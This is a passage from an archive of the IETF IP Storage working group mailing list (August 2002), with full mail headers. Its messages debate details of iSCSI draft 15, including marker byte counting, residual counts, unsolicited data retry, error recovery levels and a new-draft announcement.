/dev/sdx. This /dev/sdx gets resolved into target ID at the SCSI subsystem level. The target ID can resolve into session ID/target name at the iSCSI driver level. Hope this helps!! Anshul Chadda Trebia Networks Acton, MA 01720 ----- Original Message ----- From: "shesha bhushan" To: Sent: Tuesday, August 06, 2002 12:13 PM Subject: iSCSI and target IDS > Hi, > I have connected an array of disks to a Linux box, and I am running iSCSI > on that Linux box. There are multiple disks each with unique target IDs. I > understand the fact that, depending on the iSCSI names, we have to decide to > which disk we need to communicate. > > Say I have decided that eas.asu.edu.disk1 is target ID 1 and > eas.asu.edu.disk2 is target Id2. Once I have iSCSI target names(say > eas.asu.edu.disk2) at iSCSI target, how to specify to SCSI initiator that I > need to communicate with the device having target ID 2 ??? > > Can it be done at the SCSI subsystem level or at the SCSI driver level. > Please let me know. > > Thanks > Shesha > Arizona State University > > > _________________________________________________________________ > Chat with friends online, try MSN Messenger: http://messenger.msn.com From owner-ips@ece.cmu.edu Tue Aug 6 15:10:31 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA24632 for ; Tue, 6 Aug 2002 15:10:31 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g76IYKv13878 for ips-outgoing; Tue, 6 Aug 2002 14:34:20 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from cybernetics.com (cyborg.cybernetics.com [206.246.200.18]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g76IMYo13018 for ; Tue, 6 Aug 2002 14:22:34 -0400 (EDT) Received: from condor ([137.157.1.224]) by cyborg.cybernetics.com with SMTP id <119044>; Tue, 6 Aug 2002 14:22:17 -0400 Reply-To: From: "Tony Battersby" To: Subject: Unsolicited data PDU retry Date: Tue, 6 Aug 2002 14:22:18 -0400 Message-ID: <000401c23d76$339ce230$e0019d89@cybernetics.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0) x-mimeole: Produced By Microsoft MimeOLE V5.50.4522.1200 Importance: Normal Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit In section 5.2.1 Usage of Retry (draft 15), it is specified that initiators can resend commands that have not been acknowledged for a timeout period. Does this retry include re-sending unsolicited data PDU's? The target is supposed to ignore non-immediate commands with duplicate CmdSN's or CmdSN's outside the expected range, which takes care of immediate data, but I don't see anywhere where it is specified that the target should ignore duplicate or unexpected unsolicited data PDUs. Or, is the target supposed to hold on to unsolicited data PDU's for a command that it does not know about (e.g. because the command PDU was discarded due to a digest error) and then later re-associate the unsolicited data PDU's with the correct command when the command PDU is re-sent by the initiator? The last paragraph of section 2.4.2.2 gives some rules for the ordering of unsolicited data for different commands, which may also be related. Thanks, Anthony J. Battersby Cybernetics From owner-ips@ece.cmu.edu Tue Aug 6 20:42:16 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA05548 for ; Tue, 6 Aug 2002 20:42:16 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g76NvdA04779 for ips-outgoing; Tue, 6 Aug 2002 19:57:39 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from msgbas2.cos.agilent.com (msgbas2x.cos.agilent.com [192.25.240.37]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g76Nvbo04775 for ; Tue, 6 Aug 2002 19:57:38 -0400 (EDT) Received: from msgrel1t.cos.agilent.com (msgrel1t.cos.agilent.com [130.29.152.157]) by msgbas2.cos.agilent.com (Postfix) with ESMTP id 33BBC205C for ; Tue, 6 Aug 2002 17:57:37 -0600 (MDT) Received: from axcsbh3.cos.agilent.com (axcsbh3.cos.agilent.com [130.29.152.190]) by msgrel1t.cos.agilent.com (Postfix) with SMTP id DAFF553C for ; Tue, 6 Aug 2002 17:57:36 -0600 (MDT) Received: from 130.29.152.190 by axcsbh3.cos.agilent.com (InterScan E-Mail VirusWall NT); Tue, 06 Aug 2002 17:57:36 -0600 Received: by axcsbh3.cos.agilent.com with Internet Mail Service (5.5.2653.19) id ; Tue, 6 Aug 2002 17:57:36 -0600 Message-ID: <1BEBA5E8600DD4119A50009027AF54A00D642F52@axcs04.cos.agilent.com> From: pat_thaler@agilent.com To: ips@ece.cmu.edu Subject: Markers Date: Tue, 6 Aug 2002 17:57:36 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk I was reading the text of Appendix A and noticed an ambiguity. The text says: The Marker indicates the offset to the next iSCSI PDU header. The Marker is eight bytes in length and contains two 32-bit offset fields that indicate how many bytes to skip in the TCP stream in order to find the next iSCSI PDU header. The marker uses two copies of the pointer so that a marker that spans a TCP packet boundary should leave at least one valid copy in one of the packets. From this text, it is not clear whether the two "copies" of the marker are identical copies or whether each marker specifies how many bytes to skip from its position in the stream. It also isn't entirely clear where the count of bytes to skip starts (which is related to the first). For example, if a PDU starts right after a marker: Next-iSCSI-PDU-start pointer - copy #1 Next-iSCSI-PDU-start pointer - copy #2 PDU header start Do Copy #1 and Copy #2 both contain 0x00000000, or does copy #1 contain 0x00000004 because the packet starts 4 bytes after copy 1 while copy #2 contains 0x00000000 because the packet starts 0 bytes after copy 2? Since "copy" implies they are the same, I think they should both contain 0x00000000. This could be clarified by adding, "The count of bytes begins with the first byte after the Marker." One could also include the example above. Regards, Pat From owner-ips@ece.cmu.edu Tue Aug 6 22:26:43 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA08120 for ; Tue, 6 Aug 2002 22:26:42 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g772Ek812329 for ips-outgoing; Tue, 6 Aug 2002 22:14:46 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from imail.atlp.com (imail.atlp.com [64.94.220.137]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g76NGoo02529 for ; Tue, 6 Aug 2002 19:16:51 -0400 (EDT) Received: from atlp.com (post.atlp.com [192.168.3.8]) by imail.atlp.com (Switch-2.1.4/Switch-2.1.0) with SMTP id g76NDqI06122 for ; Tue, 6 Aug 2002 16:13:52 -0700 (PDT) Received: from atlp-exch.atlp.com by atlp.com (SMI-8.6/SMI-SVR4) id QAA16896; Tue, 6 Aug 2002 16:16:33 -0700 Received: by atlp-exch.atlp.com with Internet Mail Service (5.5.2653.19) id ; Tue, 6 Aug 2002 16:16:34 -0700 Message-ID: <7C769A0EFE7BD411B8A300508BAED11B5136E4@atlp-exch.atlp.com> From: Mike Donohoe To: "'ips@ece.cmu.edu'" Subject: iSCSI: Command handling Date: Tue, 6 Aug 2002 16:16:28 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk >From v15 2.2.2.1 pg29 An iSCSI target MUST be able to handle at least one immediate task management command and one immediate non-task-management iSCSI command per connection at any time. Thus, as a minimum, a target must handle 3 commands at a time? assuming only 1 session and ExpCmdSn = MaxCmdSN 2 immediate (per statement above) + 1 non-immediate command Thanks. Mike Donohoe From owner-ips@ece.cmu.edu Tue Aug 6 22:27:30 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA08150 for ; Tue, 6 Aug 2002 22:27:29 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g771jPt10923 for ips-outgoing; Tue, 6 Aug 2002 21:45:25 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from pepsi.splentec.com (ns.splentec.com [209.47.35.194]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g771jNo10917 for ; Tue, 6 Aug 2002 21:45:23 -0400 (EDT) Received: from splentec.com (canoe.splentec.com [209.47.35.250]) by pepsi.splentec.com (8.11.6/8.11.0) with ESMTP id g771its03500; Tue, 6 Aug 2002 21:44:55 -0400 Message-ID: <3D507B97.99D4FC25@splentec.com> Date: Tue, 06 Aug 2002 21:44:55 -0400 From: Luben Tuikov Organization: Splentec Ltd. X-Mailer: Mozilla 4.79 [en] (X11; U; Linux 2.4.19-rc3 i686) X-Accept-Language: en MIME-Version: 1.0 To: Julian Satran CC: Black_David@emc.com, ips@ece.cmu.edu Subject: Re: iSCSI: plugfest4 issues References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Julian Satran wrote: > > David, > > the current text already says this but how about? > > The Residual Count field MUST be valid in the case where either the U bit or the O bit is set. If > neither bit is set, the Residual Count field is reserved. Targets may set the residual count and > initiators may use it when the response code is "completed at target" (even if the status returned > is not GOOD). If the O bit is set, the Residual Count indicates the number of bytes that were not > transferred because the initiator's Expected Data Transfer Length was not sufficient. If the U bit > is set, the Residual Count indicates the number of bytes that were not transferred out of the > number of bytes expected to be transferred. > I don't see any problems with the residual counts and the overflow/underflow bits. The text above is logically equivalent to the meaning of the current draft. I also looked at FCP (back when all this started) and we're at par with it. I'd only note that when status is CHECK CONDITION (respoinse = CCT), then residuals SHOULD NOT be set. I.e. the target SHOULD NOT look inside the sense data and retrieve them (EXTENDED COPY exception). This is the responsibility of the ULP at the initiator. As to the future, I cannot imagine a CHECK CONDITION status and residuals reported by any other means than the already established (inside the sense data). So this condition is as strong as MUST, but should be left as SHOULD NOT, and probably not mentioned at all, as is the current matter. But this is in agreement with the current target spec as per iSCSI, so no change is needed. Also, a transport (iSCSI) shouldn't be influenced by another transport (FCP), but only by the unifying layer, i.e. SAM-3. -- Luben From owner-ips@ece.cmu.edu Wed Aug 7 01:37:07 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA13254 for ; Wed, 7 Aug 2002 01:37:07 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g774wpN21580 for ips-outgoing; Wed, 7 Aug 2002 00:58:51 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-2.de.ibm.com (d12lmsgate-2.de.ibm.com [195.212.91.200]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g774wno21574 for ; Wed, 7 Aug 2002 00:58:49 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate-2.de.ibm.com (8.12.3/8.12.3) with ESMTP id g774wUq6025736; Wed, 7 Aug 2002 06:58:34 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.12.3/NCO/VER6.3) with ESMTP id g774wPr2084986; Wed, 7 Aug 2002 06:58:29 +0200 To: Luben Tuikov Cc: Black_David@emc.com, ips@ece.cmu.edu, luben@ns.splentec.com MIME-Version: 1.0 Subject: Re: iSCSI: plugfest4 issues X-Mailer: Lotus Notes Release 5.0.9 November 16, 2001 From: "Julian Satran" Message-ID: Date: Wed, 7 Aug 2002 07:58:21 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.9a |January 7, 2002) at 07/08/2002 07:58:29, Serialize complete at 07/08/2002 07:58:29 Content-Type: multipart/alternative; boundary="=_alternative 001B095AC2256C0E_=" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multipart message in MIME format. --=_alternative 001B095AC2256C0E_= Content-Type: text/plain; charset="us-ascii" Luben, You are in SCSI territory not iSCSI. This type of demands are for T10 (and I think you are wrong even there). Julo Luben Tuikov Sent by: luben@ns.splentec.com 08/07/2002 04:44 AM To: Julian Satran/Haifa/IBM@IBMIL cc: Black_David@emc.com, ips@ece.cmu.edu Subject: Re: iSCSI: plugfest4 issues Julian Satran wrote: > > David, > > the current text already says this but how about? > > The Residual Count field MUST be valid in the case where either the U bit or the O bit is set. If > neither bit is set, the Residual Count field is reserved. Targets may set the residual count and > initiators may use it when the response code is "completed at target" (even if the status returned > is not GOOD). If the O bit is set, the Residual Count indicates the number of bytes that were not > transferred because the initiator's Expected Data Transfer Length was not sufficient. If the U bit > is set, the Residual Count indicates the number of bytes that were not transferred out of the > number of bytes expected to be transferred. > I don't see any problems with the residual counts and the overflow/underflow bits. The text above is logically equivalent to the meaning of the current draft. I also looked at FCP (back when all this started) and we're at par with it. I'd only note that when status is CHECK CONDITION (respoinse = CCT), then residuals SHOULD NOT be set. I.e. the target SHOULD NOT look inside the sense data and retrieve them (EXTENDED COPY exception). This is the responsibility of the ULP at the initiator. As to the future, I cannot imagine a CHECK CONDITION status and residuals reported by any other means than the already established (inside the sense data). So this condition is as strong as MUST, but should be left as SHOULD NOT, and probably not mentioned at all, as is the current matter. But this is in agreement with the current target spec as per iSCSI, so no change is needed. Also, a transport (iSCSI) shouldn't be influenced by another transport (FCP), but only by the unifying layer, i.e. SAM-3. -- Luben --=_alternative 001B095AC2256C0E_= Content-Type: text/html; charset="us-ascii"
Luben,

You are in SCSI territory not iSCSI. This type of demands are for T10 (and I think you are wrong even there).

Julo


Luben Tuikov <luben@splentec.com>
Sent by: luben@ns.splentec.com

08/07/2002 04:44 AM

       
        To:        Julian Satran/Haifa/IBM@IBMIL
        cc:        Black_David@emc.com, ips@ece.cmu.edu
        Subject:        Re: iSCSI: plugfest4 issues

       


Julian Satran wrote:
>
> David,
>
> the current text already says this but how about?
>
> The Residual Count field MUST be valid in the case where either the U bit or the O bit is set. If
> neither bit is set, the Residual Count field is reserved. Targets may set the residual count and
> initiators may use it when the response code is "completed at target" (even if the status returned
> is not GOOD). If the O bit is set, the Residual Count indicates the number of bytes that were not
> transferred because the initiator's Expected Data Transfer Length was not sufficient. If the U bit
> is set, the Residual Count indicates the number of bytes that were not transferred out of the
> number of bytes expected to be transferred.
>

I don't see any problems with the residual counts
and the overflow/underflow bits.

The text above is logically equivalent to the meaning
of the current draft.

I also looked at FCP (back when all this started)
and we're at par with it.

I'd only note that when status is CHECK CONDITION
(respoinse = CCT), then residuals SHOULD NOT be set.
I.e. the target SHOULD NOT look inside the sense data
and retrieve them (EXTENDED COPY exception).
This is the responsibility of the ULP at the initiator.

As to the future, I cannot imagine a CHECK CONDITION
status and residuals reported by any other means
than the already established (inside the sense data).
So this condition is as strong as MUST, but should
be left as SHOULD NOT, and probably not mentioned at
all, as is the current matter.

But this is in agreement with the current target spec
as per iSCSI, so no change is needed.

Also, a transport (iSCSI) shouldn't be influenced by
another transport (FCP), but only by the unifying layer,
i.e. SAM-3.

--
Luben

--=_alternative 001B095AC2256C0E_=-- From owner-ips@ece.cmu.edu Wed Aug 7 10:41:50 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA21093 for ; Wed, 7 Aug 2002 10:41:50 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g77E4tb02785 for ips-outgoing; Wed, 7 Aug 2002 10:04:55 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from ietf.org (odin.ietf.org [132.151.1.176]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g77BLxo23698 for ; Wed, 7 Aug 2002 07:22:08 -0400 (EDT) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA12683; Wed, 7 Aug 2002 07:20:45 -0400 (EDT) Message-Id: <200208071120.HAA12683@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce: ; Cc: ips@ece.cmu.edu From: Internet-Drafts@ietf.org Reply-to: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-ips-iscsi-15.txt,.pdf Date: Wed, 07 Aug 2002 07:20:45 -0400 Sender: owner-ips@ece.cmu.edu Precedence: bulk --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the IP Storage Working Group of the IETF. Title : iSCSI Author(s) : J. Satran et al. Filename : draft-ietf-ips-iscsi-15.txt,.pdf Pages : 282 Date : 06-Aug-02 The Small Computer Systems Interface (SCSI) is a popular family of protocols for communicating with I/O devices, especially storage devices. This document describes a transport protocol for SCSI that works on top of TCP. The iSCSI protocol aims to be fully compliant with the rules laid out in the SCSI Architecture Model - 2 [SAM2] document. This current version of iSCSI is 0. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-ips-iscsi-15.txt To remove yourself from the IETF Announcement list, send a message to ietf-announce-request with the word unsubscribe in the body of the message. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-ips-iscsi-15.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-ips-iscsi-15.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <20020806114715.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-ips-iscsi-15.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-ips-iscsi-15.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <20020806114715.I-D@ietf.org> --OtherAccess-- --NextPart-- From owner-ips@ece.cmu.edu Wed Aug 7 10:43:39 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA21174 for ; Wed, 7 Aug 2002 10:43:39 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g77E4JP02737 for ips-outgoing; Wed, 7 Aug 2002 10:04:19 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mta5.snfc21.pbi.net (mta5.snfc21.pbi.net [206.13.28.241]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g772qio14455 for ; Tue, 6 Aug 2002 22:52:44 -0400 (EDT) Received: from MikesDellLatitude ([64.161.27.146]) by mta5.snfc21.pbi.net (iPlanet Messaging Server 5.1 (built May 7 2001)) with SMTP id <0H0G0088PDBTZT@mta5.snfc21.pbi.net> for ips@ece.cmu.edu; Tue, 06 Aug 2002 19:52:43 -0700 (PDT) Date: Tue, 06 Aug 2002 19:16:42 -0700 From: "Michael J. S. Smith (PacBell)" Subject: Re: Markers To: pat_thaler@agilent.com, ips@ece.cmu.edu Cc: "Michael J. S. Smith (iReady)" Reply-to: "Michael J. S. Smith (PacBell)" Message-id: <007001c23db8$78dcac80$6501a8c0@iready.com> MIME-version: 1.0 X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 X-Mailer: Microsoft Outlook Express 5.50.4522.1200 Content-type: multipart/alternative; boundary="Boundary_(ID_O6SC8V6xR3faY8Eqr1WXxQ)" X-Priority: 3 X-MSMail-priority: Normal References: <1BEBA5E8600DD4119A50009027AF54A00D642F52@axcs04.cos.agilent.com> Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multi-part message in MIME format. --Boundary_(ID_O6SC8V6xR3faY8Eqr1WXxQ) Content-type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 7BIT MarkersI helped write our hardware specification on this issue and going over the specification again just now, I realized that I referenced the Internet draft for the definitive description of marker insertion. So, I certainly have an interest in getting this right. >> From this text, it is not clear whether the two "copies" of the marker are identical copies Pat, you are right, you need to look beyond the text that you quoted to get clarity. Some ambiguity is resolved when you realize that markers "don't count". [quote] The Marker scheme uses payload byte stream counting that includes every byte placed by iSCSI in the TCP stream except for the markers themselves. It also excludes any bytes that TCP counts but are not originated by iSCSI. [end quote] Thus, 1. Since "counting ... includes every byte ... except for the markers themselves," I believe the markers are both identical (in particular, the count in the two markers is the same, since we don't count the marker bytes). [quote] Marker is eight bytes in length and contains two 32-bit offset fields that indicate how many bytes to skip in the TCP stream in order to find the next iSCSI PDU header. [end quote] [quote] The marker interval and the initial marker-less interval are counted in terms of the bytes placed in the TCP stream data by iSCSI. [end quote] >> From this text, it is not clear ... whether each marker specifies how many bytes to skip from its position in the stream. It also isn't entirely clear where the count of bytes to skip starts (which is related to the first). Again the two markers don't matter. Thus, 2. The count is how many TCP stream bytes to skip, forget about the markers. The definition of "TCP Stream" needs a stretch, but between the first and third sections quoted above, I think it is "TCP Stream := every byte placed by iSCSI in the TCP stream except for the markers themselves and any bytes that TCP counts but are not originated by iSCSI". I had to think a few times about "bytes that TCP counts but are not originated by iSCSI", and I can't think of any strange cases that leave ambiguity in this definition, but can anyone else? On the other hand if we were to add ""The count of bytes begins with the first byte after the Marker", I think there is a possibility for confusion unless you again declare "count of bytes" means TCP Stream (as defined). I'm probably too close to this now to render an objective opinion on whether ambiguity exists, but I think an example will help, and Pat's is as good as any to resolve this particular (possible) ambiguity (in her example, I believe both marker copies contain zero). Onto a very related issue: Our technical team just got back from the UNH plugfest and were unable to perform more testing on our marker implementation because nobody else at UNH had implemented markers yet. We would be very interested in hearing from anyone who would like to test against us. Please contact me as a starting point. Thanks! Aloha Mike Smith CTO, iReady msmith@iready.com ----- Original Message ----- From: pat_thaler@agilent.com To: ips@ece.cmu.edu Sent: Tuesday, August 06, 2002 4:57 PM Subject: Markers I was reading the text of Appendix A and noticed an ambiguity. The text says: The Marker indicates the offset to the next iSCSI PDU header. The Marker is eight bytes in length and contains two 32-bit offset fields that indicate how many bytes to skip in the TCP stream in order to find the next iSCSI PDU header. The marker uses two copies of the pointer so that a marker that spans a TCP packet boundary should leave at least one valid copy in one of the packets. >From this text, it is not clear whether the two "copies" of the marker are identical copies or whether each marker specifies how many bytes to skip from its position in the stream. It also isn't entirely clear where the count of bytes to skip starts (which is related to the first). For example, if a PDU starts right after a marker: Next-iSCSI-PDU-start pointer - copy #1 Next-iSCSI-PDU-start pointer - copy #2 PDU header start Do Copy #1 and Copy #2 both contain 0x00000000, or does copy #1 contain 0x00000004 because the packet starts 4 bytes after copy 1 while copy #2 contains 0x00000000 because the packet starts 0 bytes after copy 2? Since "copy" implies they are the same, I think they should both contain 0x00000000. This could be clarified by adding, "The count of bytes begins with the first byte after the Marker." One could also include the example above. Regards, Pat --Boundary_(ID_O6SC8V6xR3faY8Eqr1WXxQ) Content-type: text/html; charset=iso-8859-1 Content-Transfer-Encoding: 7BIT Markers

I helped write our hardware specification on this issue and going over the specification again just now, I realized that I referenced the Internet draft for the definitive description of marker insertion. So, I certainly have an interest in getting this right.
 
>> From this text, it is not clear whether the two "copies" of the marker are identical copies
 
Pat, you are right, you need to look beyond the text that you quoted to get clarity. Some ambiguity is resolved when you realize that markers "don't count".
 
 [quote]

   The Marker scheme uses payload byte stream counting that includes
   every byte placed by iSCSI in the TCP stream except for the markers
   themselves. It also excludes any bytes that TCP counts but are not
   originated by iSCSI.
   
[end quote]
 
Thus,
 
1. Since "counting ... includes every byte ... except for the markers themselves," I believe the markers are both identical (in particular, the count in the two markers is the same, since we don't count the marker bytes).
 
[quote]
   Marker is eight bytes in length and contains two 32-bit offset fields
   that indicate how many bytes to skip in the TCP stream in order to
   find the next iSCSI PDU header.
[end quote]
 
[quote]

   The marker interval and the initial marker-less interval are counted
   in terms of the bytes placed in the TCP stream data by iSCSI.
[end quote]
 
>> From this text, it is not clear ... whether each marker specifies how many bytes to skip from its position in the stream. It also isn't entirely clear where the count of bytes to skip starts (which is related to the first).
 
Again the two markers don't matter. Thus,
 
2. The count is how many TCP stream bytes to skip, forget about the markers. The definition of "TCP Stream" needs a stretch, but between the first and third sections quoted above, I think it is "TCP Stream := every byte placed by iSCSI in the TCP stream except for the markers themselves and any bytes that TCP counts but are not originated by iSCSI".
 
I had to think a few times about "bytes that TCP counts but are not originated by iSCSI", and I can't think of any strange cases that leave ambiguity in this definition, but can anyone else?
 
On the other hand if we were to add ""The count of bytes begins with the first byte after the Marker", I think there is a possibility for confusion unless you again declare "count of bytes" means TCP Stream (as defined).
 
I'm probably too close to this now to render an objective opinion on whether ambiguity exists, but I think an example will help, and Pat's is as good as any to resolve this particular (possible) ambiguity (in her example, I believe both marker copies contain zero).
 
Onto a very related issue: Our technical team just got back from the UNH plugfest and were unable to perform more testing on our marker implementation because nobody else at UNH had implemented markers yet. We would be very interested in hearing from anyone who would like to test against us. Please contact me as a starting point. Thanks!
 
Aloha
 
Mike Smith
CTO, iReady
 
 
----- Original Message -----
Sent: Tuesday, August 06, 2002 4:57 PM
Subject: Markers

I was reading the text of Appendix A and noticed an ambiguity.

The text says:
The Marker indicates the offset to the next iSCSI PDU header. The
   Marker is eight bytes in length and contains two 32-bit offset fields
   that indicate how many bytes to skip in the TCP stream in order to
   find the next iSCSI PDU header. The marker uses two copies of the
   pointer so that a marker that spans a TCP packet boundary should
   leave at least one valid copy in one of the packets.

From this text, it is not clear whether the two "copies" of the marker are identical copies or whether each marker specifies how many bytes to skip from its position in the stream. It also isn't entirely clear where the count of bytes to skip starts (which is related to the first).

For example, if a PDU starts right after a marker:

      Next-iSCSI-PDU-start pointer - copy #1
      Next-iSCSI-PDU-start pointer - copy #2
      PDU header start

Do Copy #1 and Copy #2 both contain 0x00000000, or does copy #1 contain 0x00000004 because the packet starts 4 bytes after copy 1 while copy #2 contains 0x00000000

because the packet starts 0 bytes after copy 2?

Since "copy" implies they are the same, I think they should both contain 0x00000000.

This could be clarified by adding, "The count of bytes begins with the first byte after the Marker." One could also include the example above.

Regards,
Pat

--Boundary_(ID_O6SC8V6xR3faY8Eqr1WXxQ)-- From owner-ips@ece.cmu.edu Wed Aug 7 10:43:47 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA21188 for ; Wed, 7 Aug 2002 10:43:47 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g77EHHY03677 for ips-outgoing; Wed, 7 Aug 2002 10:17:17 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mother.pmc-sierra.bc.ca (mother.pmc-sierra.bc.ca [216.241.224.12]) by ece.cmu.edu (8.11.0/8.10.2) with SMTP id g77EHFo03672 for ; Wed, 7 Aug 2002 10:17:15 -0400 (EDT) Received: (qmail 13293 invoked by uid 104); 7 Aug 2002 14:17:09 -0000 Received: from Shahram_Davari@pmc-sierra.com by mother with qmail-scanner-1.00 (uvscan: v4.1.40/v4216. . Clean. Processed in 0.488985 secs); 07 Aug 2002 14:17:09 -0000 Received: from unknown (HELO hymir.pmc-sierra.bc.ca) (134.87.114.120) by mother.pmc-sierra.bc.ca with SMTP; 7 Aug 2002 14:17:08 -0000 Received: from bby1exi01.pmc-sierra.bc.ca (bby1exi01.pmc-sierra.bc.ca [216.241.231.251]) by hymir.pmc-sierra.bc.ca (jason/8.11.6) with ESMTP id g77EH8w21128 for ; Wed, 7 Aug 2002 07:17:08 -0700 (PDT) Received: by bby1exi01 with Internet Mail Service (5.5.2653.19) id ; Wed, 7 Aug 2002 07:17:10 -0700 Message-ID: <4B6D09F3B826D411A67300D0B706EFDEB037C6@nt-exch-yow.pmc-sierra.bc.ca> From: Shahram Davari To: ips@ece.cmu.edu Subject: iSCSI question Date: Wed, 7 Aug 2002 07:17:06 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk Hi, I have a question regarding the hierarchy of error recovery. Section 6.13 mentions the hierarchy as: 2: Connection recovery 1: Digest failure recovery 0: Session recovery And it states that the higher levels are a superset of the lower levels and that the level of complexity increases from 0->1->2. Couple of questions: 1) How is digest failure recovery done? by retransmission of PDUs? 2) Why is the connection recovery a superset of session recovery and more complex? 3) It seems to me the order should be: 2: Session recovery 1: Connection recovery 0: Digest failure recovery I appreciate any insight. Thanks, -Shahram From owner-ips@ece.cmu.edu Wed Aug 7 10:44:45 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA21215 for ; Wed, 7 Aug 2002 10:44:45 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g77E4EF02728 for 